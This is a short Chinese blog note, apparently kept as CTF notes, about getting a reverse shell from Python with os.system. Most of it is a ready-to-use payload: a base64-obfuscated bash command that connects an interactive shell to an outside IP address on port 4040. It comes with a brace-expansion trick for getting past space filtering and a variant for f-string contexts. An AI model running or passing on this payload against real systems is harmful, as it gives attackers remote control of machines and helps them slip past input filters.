关于python使用系统命令反弹shell的一点记录

前一段时间遇到了这个问题
在此记录一下

os.system('bash -c \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjkuMjA0LjIwNy4xMTQvNDA0MCAwPiYxCg==}|{base64,-d}|{bash,-i}\"')

这个payload实际上是javapayload,只是java不需要后面的双引号
转换网址



但是这个有个限制
假如采用了字符串拼接的形式(即大括号有实际意义,字符串前面加个f
关于python使用系统命令反弹shell的一点记录_第1张图片这个时候我们去掉大括号即可(大括号的作用是在过滤空格后无法使用参数的时候使用)

bash -c 'echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjkuMjA0LjIwNy4xMTQvNDA0MCAwPiYxCg==|base64 -d|bash -i'

你可能感兴趣的:(ctf)